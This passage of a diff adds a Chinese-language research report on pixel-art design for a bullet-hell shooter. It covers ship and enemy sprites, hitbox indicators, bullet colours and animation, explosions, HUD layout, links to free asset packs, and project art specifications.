"add", "content": "---", "new_no": 17}, {"type": "add", "content": "", "new_no": 18}, {"type": "add", "content": "## 1. 玩家飞船 / 角色设计", "new_no": 19}, {"type": "add", "content": "", "new_no": 20}, {"type": "add", "content": "### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)", "new_no": 21}, {"type": "add", "content": "", "new_no": 22}, {"type": "add", "content": "- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。", "new_no": 23}, {"type": "add", "content": "- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。", "new_no": 24}, {"type": "add", "content": "- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。", "new_no": 25}, {"type": "add", "content": "- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。", "new_no": 26}, {"type": "add", "content": "", "new_no": 27}, {"type": "add", "content": "**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。", "new_no": 28}, {"type": "add", "content": "", "new_no": 29}, {"type": "add", "content": "### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)", "new_no": 30}, {"type": "add", "content": "", "new_no": 31}, {"type": "add", "content": "综合 SLYNYRD 教程与 Boghog 指南:", "new_no": 32}, {"type": "add", "content": "", "new_no": 33}, {"type": "add", "content": "- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。", "new_no": 34}, {"type": "add", "content": "- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。", "new_no": 35}, {"type": "add", "content": "- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。", "new_no": 36}, {"type": "add", "content": "- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。", "new_no": 37}, {"type": "add", "content": "- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。", "new_no": 38}, {"type": "add", "content": "- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。", "new_no": 39}, {"type": "add", "content": "", "new_no": 40}, {"type": "add", "content": "### 1.3 东方Project 系列的角色精灵风格", "new_no": 41}, {"type": "add", "content": "", "new_no": 42}, {"type": "add", "content": "(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)", "new_no": 43}, {"type": "add", "content": "", "new_no": 44}, {"type": "add", "content": "- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。", "new_no": 45}, {"type": "add", "content": "- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。", "new_no": 46}, {"type": "add", "content": "- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。", "new_no": 47}, {"type": "add", "content": "- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。", "new_no": 48}, {"type": "add", "content": "- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。", "new_no": 49}, {"type": "add", "content": "", "new_no": 50}, {"type": "add", "content": "### 1.4 像素飞船设计要点(落地 Checklist)", "new_no": 51}, {"type": "add", "content": "", "new_no": 52}, {"type": "add", "content": "| 项目 | 建议 |", "new_no": 53}, {"type": "add", "content": "|---|---|", "new_no": 54}, {"type": "add", "content": "| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |", "new_no": 55}, {"type": "add", "content": "| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |", "new_no": 56}, {"type": "add", "content": "| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |", "new_no": 57}, {"type": "add", "content": "| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |", "new_no": 58}, {"type": "add", "content": "| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |", "new_no": 59}, {"type": "add", "content": "| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |", "new_no": 60}, {"type": "add", "content": "", "new_no": 61}, {"type": "add", "content": "### 1.5 判定框(Hitbox)视觉提示设计", "new_no": 62}, {"type": "add", "content": "", "new_no": 63}, {"type": "add", "content": "- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。", "new_no": 64}, {"type": "add", "content": "- **视觉提示做法(主流方案)**:", "new_no": 65}, {"type": "add", "content": " 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。", "new_no": 66}, {"type": "add", "content": " 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。", "new_no": 67}, {"type": "add", "content": " 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。", "new_no": 68}, {"type": "add", "content": "- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。", "new_no": 69}, {"type": "add", "content": "", "new_no": 70}, {"type": "add", "content": "---", "new_no": 71}, {"type": "add", "content": "", "new_no": 72}, {"type": "add", "content": "## 2. 敌方单位设计", "new_no": 73}, {"type": "add", "content": "", "new_no": 74}, {"type": "add", "content": "### 2.1 杂兵(Enemy Grunts)的像素设计", "new_no": 75}, {"type": "add", "content": "", "new_no": 76}, {"type": "add", "content": "- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。", "new_no": 77}, {"type": "add", "content": "- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):", "new_no": 78}, {"type": "add", "content": " - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。", "new_no": 79}, {"type": "add", "content": " - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。", "new_no": 80}, {"type": "add", "content": "- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。", "new_no": 81}, {"type": "add", "content": "- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。", "new_no": 82}, {"type": "add", "content": "- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。", "new_no": 83}, {"type": "add", "content": "", "new_no": 84}, {"type": "add", "content": "### 2.2 Boss 的体型与细节层次", "new_no": 85}, {"type": "add", "content": "", "new_no": 86}, {"type": "add", "content": "- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。", "new_no": 87}, {"type": "add", "content": "- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。", "new_no": 88}, {"type": "add", "content": "- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。", "new_no": 89}, {"type": "add", "content": "- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。", "new_no": 90}, {"type": "add", "content": "- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。", "new_no": 91}, {"type": "add", "content": "", "new_no": 92}, {"type": "add", "content": "### 2.3 敌方攻击前的视觉预警(Telegraph)", "new_no": 93}, {"type": "add", "content": "", "new_no": 94}, {"type": "add", "content": "- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。", "new_no": 95}, {"type": "add", "content": "- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。", "new_no": 96}, {"type": "add", "content": "- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。", "new_no": 97}, {"type": "add", "content": "- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。", "new_no": 98}, {"type": "add", "content": "- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。", "new_no": 99}, {"type": "add", "content": "- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。", "new_no": 100}, {"type": "add", "content": "", "new_no": 101}, {"type": "add", "content": "---", "new_no": 102}, {"type": "add", "content": "", "new_no": 103}, {"type": "add", "content": "## 3. 子弹 / 弹幕的像素美术", "new_no": 104}, {"type": "add", "content": "", "new_no": 105}, {"type": "add", "content": "### 3.1 常见像素子弹样式与尺寸", "new_no": 106}, {"type": "add", "content": "", "new_no": 107}, {"type": "add", "content": "**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。", "new_no": 108}, {"type": "add", "content": "", "new_no": 109}, {"type": "add", "content": "| 子弹类型 | 常见尺寸 | 形态与用途 |", "new_no": 110}, {"type": "add", "content": "|---|---|---|", "new_no": 111}, {"type": "add", "content": "| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |", "new_no": 112}, {"type": "add", "content": "| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |", "new_no": 113}, {"type": "add", "content": "| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |", "new_no": 114}, {"type": "add", "content": "| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |", "new_no": 115}, {"type": "add", "content": "| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |", "new_no": 116}, {"type": "add", "content": "| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |", "new_no": 117}, {"type": "add", "content": "", "new_no": 118}, {"type": "add", "content": "### 3.2 子弹颜色与类型的对应关系", "new_no": 119}, {"type": "add", "content": "", "new_no": 120}, {"type": "add", "content": "- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。", "new_no": 121}, {"type": "add", "content": "- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:", "new_no": 122}, {"type": "add", "content": " - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;", "new_no": 123}, {"type": "add", "content": " - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);", "new_no": 124}, {"type": "add", "content": " - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。", "new_no": 125}, {"type": "add", "content": "- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。", "new_no": 126}, {"type": "add", "content": "- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。", "new_no": 127}, {"type": "add", "content": "", "new_no": 128}, {"type": "add", "content": "### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)", "new_no": 129}, {"type": "add", "content": "", "new_no": 130}, {"type": "add", "content": "- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。", "new_no": 131}, {"type": "add", "content": "- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。", "new_no": 132}, {"type": "add", "content": "- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。", "new_no": 133}, {"type": "add", "content": "- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。", "new_no": 134}, {"type": "add", "content": "- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。", "new_no": 135}, {"type": "add", "content": "- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。", "new_no": 136}, {"type": "add", "content": "", "new_no": 137}, {"type": "add", "content": "### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)", "new_no": 138}, {"type": "add", "content": "", "new_no": 139}, {"type": "add", "content": "- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。", "new_no": 140}, {"type": "add", "content": "- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。", "new_no": 141}, {"type": "add", "content": "- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。", "new_no": 142}, {"type": "add", "content": "- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。", "new_no": 143}, {"type": "add", "content": "- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。", "new_no": 144}, {"type": "add", "content": "- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。", "new_no": 145}, {"type": "add", "content": "- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。", "new_no": 146}, {"type": "add", "content": "", "new_no": 147}, {"type": "add", "content": "---", "new_no": 148}, {"type": "add", "content": "", "new_no": 149}, {"type": "add", "content": "## 4. 特效与 UI", "new_no": 150}, {"type": "add", "content": "", "new_no": 151}, {"type": "add", "content": "### 4.1 爆炸特效的像素动画(SLYNYRD 方法)", "new_no": 152}, {"type": "add", "content": "", "new_no": 153}, {"type": "add", "content": "- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。", "new_no": 154}, {"type": "add", "content": "- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。", "new_no": 155}, {"type": "add", "content": "- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。", "new_no": 156}, {"type": "add", "content": "- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。", "new_no": 157}, {"type": "add", "content": "- **冲击波**:把引导环稍作修改即可成冲击波环。", "new_no": 158}, {"type": "add", "content": "- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。", "new_no": 159}, {"type": "add", "content": "- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。", "new_no": 160}, {"type": "add", "content": "", "new_no": 161}, {"type": "add", "content": "### 4.2 拾取道具的视觉效果", "new_no": 162}, {"type": "add", "content": "", "new_no": 163}, {"type": "add", "content": "- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。", "new_no": 164}, {"type": "add", "content": "- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。", "new_no": 165}, {"type": "add", "content": "- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。", "new_no": 166}, {"type": "add", "content": "- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。", "new_no": 167}, {"type": "add", "content": "- **点收集(Point of Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。", "new_no": 168}, {"type": "add", "content": "", "new_no": 169}, {"type": "add", "content": "### 4.3 得分 / 连击的视觉反馈", "new_no": 170}, {"type": "add", "content": "", "new_no": 171}, {"type": "add", "content": "- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。", "new_no": 172}, {"type": "add", "content": "- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。", "new_no": 173}, {"type": "add", "content": "- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。", "new_no": 174}, {"type": "add", "content": "- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。", "new_no": 175}, {"type": "add", "content": "- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。", "new_no": 176}, {"type": "add", "content": "", "new_no": 177}, {"type": "add", "content": "### 4.4 血条、Bomb 数量等 HUD 设计", "new_no": 178}, {"type": "add", "content": "", "new_no": 179}, {"type": "add", "content": "- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。", "new_no": 180}, {"type": "add", "content": "- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。", "new_no": 181}, {"type": "add", "content": "- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。", "new_no": 182}, {"type": "add", "content": "- **残机(Lives)**:像素自机小图标排列,比数字更直观。", "new_no": 183}, {"type": "add", "content": "- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。", "new_no": 184}, {"type": "add", "content": "- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。", "new_no": 185}, {"type": "add", "content": "- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。", "new_no": 186}, {"type": "add", "content": "", "new_no": 187}, {"type": "add", "content": "---", "new_no": 188}, {"type": "add", "content": "", "new_no": 189}, {"type": "add", "content": "## 5. 参考资源搜索汇总", "new_no": 190}, {"type": "add", "content": "", "new_no": 191}, {"type": "add", "content": "### 5.1 itch.io 免费/付费像素弹幕素材", "new_no": 192}, {"type": "add", "content": "", "new_no": 193}, {"type": "add", "content": "| 资源 | 内容 | 链接 |", "new_no": 194}, {"type": "add", "content": "|---|---|---|", "new_no": 195}, {"type": "add", "content": "| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |", "new_no": 196}, {"type": "add", "content": "| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |", "new_no": 197}, {"type": "add", "content": "| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |", "new_no": 198}, {"type": "add", "content": "| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |", "new_no": 199}, {"type": "add", "content": "| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |", "new_no": 200}, {"type": "add", "content": "| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |", "new_no": 201}, {"type": "add", "content": "", "new_no": 202}, {"type": "add", "content": "### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)", "new_no": 203}, {"type": "add", "content": "", "new_no": 204}, {"type": "add", "content": "- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art", "new_no": 205}, {"type": "add", "content": "- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020", "new_no": 206}, {"type": "add", "content": "- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art", "new_no": 207}, {"type": "add", "content": "- **shmup 合集页**:https://opengameart.org/content/shmup", "new_no": 208}, {"type": "add", "content": "", "new_no": 209}, {"type": "add", "content": "### 5.3 经典 STG 精灵分析与弹幕设计参考", "new_no": 210}, {"type": "add", "content": "", "new_no": 211}, {"type": "add", "content": "- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox", "new_no": 212}, {"type": "add", "content": "- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets", "new_no": 213}, {"type": "add", "content": "- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon", "new_no": 214}, {"type": "add", "content": "- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html", "new_no": 215}, {"type": "add", "content": "- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101", "new_no": 216}, {"type": "add", "content": "- **Shmups Wiki 主站**:https://shmups.wiki", "new_no": 217}, {"type": "add", "content": "- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups", "new_no": 218}, {"type": "add", "content": "- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup", "new_no": 219}, {"type": "add", "content": "- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo", "new_no": 220}, {"type": "add", "content": "", "new_no": 221}, {"type": "add", "content": "### 5.4 像素艺术风格指南(教程/博客)", "new_no": 222}, {"type": "add", "content": "", "new_no": 223}, {"type": "add", "content": "- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design", "new_no": 224}, {"type": "add", "content": "- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2", "new_no": 225}, {"type": "add", "content": "- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions", "new_no": 226}, {"type": "add", "content": "- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles", "new_no": 227}, {"type": "add", "content": "- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)", "new_no": 228}, {"type": "add", "content": "- Piskel(免费在线像素编辑器):https://www.piskelapp.com", "new_no": 229}, {"type": "add", "content": "", "new_no": 230}, {"type": "add", "content": "### 5.5 建议搜索关键词(继续深挖用)", "new_no": 231}, {"type": "add", "content": "", "new_no": 232}, {"type": "add", "content": "`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`", "new_no": 233}, {"type": "add", "content": "", "new_no": 234}, {"type": "add", "content": "---", "new_no": 235}, {"type": "add", "content": "", "new_no": 236}, {"type": "add", "content": "## 6. 给本项目落地落实的美术规范建议(可直接执行)", "new_no": 237}, {"type": "add", "content": "", "new_no": 238}, {"type": "add", "content": "1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。", "new_no": 239}, {"type": "add", "content": "2. **色板分工(建议)**:", "new_no": 240}, {"type": "add", "content": " - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;", "new_no": 241}, {"type": "add", "content": " - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;", "new_no": 242}, {"type": "add", "content": " - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);", "new_no": 243}, {"type": "add", "content": " - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;", "new_no": 244}, {"type": "add", "content": " - 爆炸:白→橙红黄→灰;", "new_no": 245}, {"type": "add", "content": " - 预警:蓄力时变亮/变红,激光先亮细线。", "new_no": 246}, {"type": "add", "content": "3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。", "new_no": 247}, {"type": "add", "content": "4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。", "new_no": 248}, {"type": "add", 